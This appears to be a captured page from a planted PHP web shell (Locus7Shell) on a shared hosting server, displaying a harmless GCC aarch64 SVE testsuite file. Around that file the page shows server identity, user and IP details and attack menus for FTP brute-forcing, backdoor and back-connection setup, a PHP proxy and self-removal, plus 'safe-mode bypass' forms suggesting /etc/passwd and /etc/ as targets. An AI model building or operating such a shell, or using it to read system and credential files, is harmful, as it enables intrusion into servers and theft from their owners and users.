Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/aarch64/sve/acle/general/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     attributes_8.c (3.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-options "-msve-vector-bits=256 -W -Wall" } */

#include <arm_sve.h>

#define N __ARM_FEATURE_SVE_BITS
#define FIXED_ATTR __attribute__ ((arm_sve_vector_bits (N)))
#define ALIGNED_ATTR __attribute__((aligned(N / 8)))

typedef svint8_t var1;
typedef __SVInt8_t var2;

typedef const var1 const_var1;
typedef const var2 const_var2;

typedef var1 aligned_var1 ALIGNED_ATTR;
typedef var2 aligned_var2 ALIGNED_ATTR;

typedef var1 fixed1 FIXED_ATTR;
typedef var1 fixed1_alias FIXED_ATTR;
typedef var2 fixed2 FIXED_ATTR;

typedef const_var1 const_fixed1 FIXED_ATTR;
typedef const var1 const_fixed1_alias FIXED_ATTR;
typedef const_var2 const_fixed2 FIXED_ATTR;

typedef aligned_var1 aligned_fixed1 FIXED_ATTR;
typedef var1 aligned_fixed1_alias FIXED_ATTR ALIGNED_ATTR;
typedef aligned_var2 aligned_fixed2 FIXED_ATTR;

extern fixed1 extern1;
extern fixed1_alias extern1_alias;
extern fixed2 extern2;

extern const_fixed1 const_extern1;
extern const_fixed1_alias const_extern1_alias;
extern const_fixed2 const_extern2;

fixed1 *ptr1a = &extern1;
fixed1_alias *ptr1b = &extern1;
fixed2 *ptr1c = &extern1;

fixed1 *ptr2a = &extern1_alias;
fixed1_alias *ptr2b = &extern1_alias;
fixed2 *ptr2c = &extern1_alias;

fixed1 *ptr3a = &extern2;
fixed1_alias *ptr3b = &extern2;
fixed2 *ptr3c = &extern2;

fixed1 *ptr4a = &const_extern1;     // { dg-error {invalid conversion} "c++" { target c++ } }
                    // { dg-warning {discards 'const' qualifier} "c" { target c } .-1 }
fixed1_alias *ptr4b = &const_extern1;     // { dg-error {invalid conversion} "c++" { target c++ } }
                    // { dg-warning {discards 'const' qualifier} "c" { target c } .-1 }
fixed2 *ptr4c = &const_extern1;     // { dg-error {invalid conversion} "c++" { target c++ } }
                    // { dg-warning {discards 'const' qualifier} "c" { target c } .-1 }

const fixed1 *ptr5a = &const_extern2;
const fixed1_alias *ptr5b = &const_extern2;
const fixed2 *ptr5c = &const_extern2;

const_fixed1 *const_ptr1a = &extern1;
const_fixed1_alias *const_ptr1b = &extern1;
const_fixed2 *const_ptr1c = &extern1;

const_fixed1 *const_ptr2a = &extern1_alias;
const_fixed1_alias *const_ptr2b = &extern1_alias;
const_fixed2 *const_ptr2c = &extern1_alias;

const_fixed1 *const_ptr3a = &extern2;
const_fixed1_alias *const_ptr3b = &extern2;
const_fixed2 *const_ptr3c = &extern2;

const_fixed1 *const_ptr4a = &const_extern1;
const_fixed1_alias *const_ptr4b = &const_extern1;
const_fixed2 *const_ptr4c = &const_extern1;

const_fixed1 *const_ptr5a = &const_extern1_alias;
const_fixed1_alias *const_ptr5b = &const_extern1_alias;
const_fixed2 *const_ptr5c = &const_extern1_alias;

const_fixed1 *const_ptr6a = &const_extern2;
const_fixed1_alias *const_ptr6b = &const_extern2;
const_fixed2 *const_ptr6c = &const_extern2;

struct normal1 { int x; fixed1 y; };
struct normal1_alias { int x; fixed1_alias y; };
struct normal2 { int x; fixed2 y; };

struct aligned1 { int x; aligned_fixed1 y; };
struct aligned1_alias { int x; aligned_fixed1_alias y; };
struct aligned2 { int x; aligned_fixed2 y; };

#define ASSERT(NAME, TEST) typedef int NAME[(TEST) ? 1 : -1]

ASSERT (check_normal1, sizeof (struct normal1) == N / 8 + 16);
ASSERT (check_normal1_alias, sizeof (struct normal1_alias) == N / 8 + 16);
ASSERT (check_normal2, sizeof (struct normal2) == N / 8 + 16);

ASSERT (check_aligned1, sizeof (struct aligned1) == N / 4);
ASSERT (check_aligned1_alias, sizeof (struct aligned1_alias) == N / 4);
ASSERT (check_aligned2, sizeof (struct aligned2) == N / 4);

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0064 ]--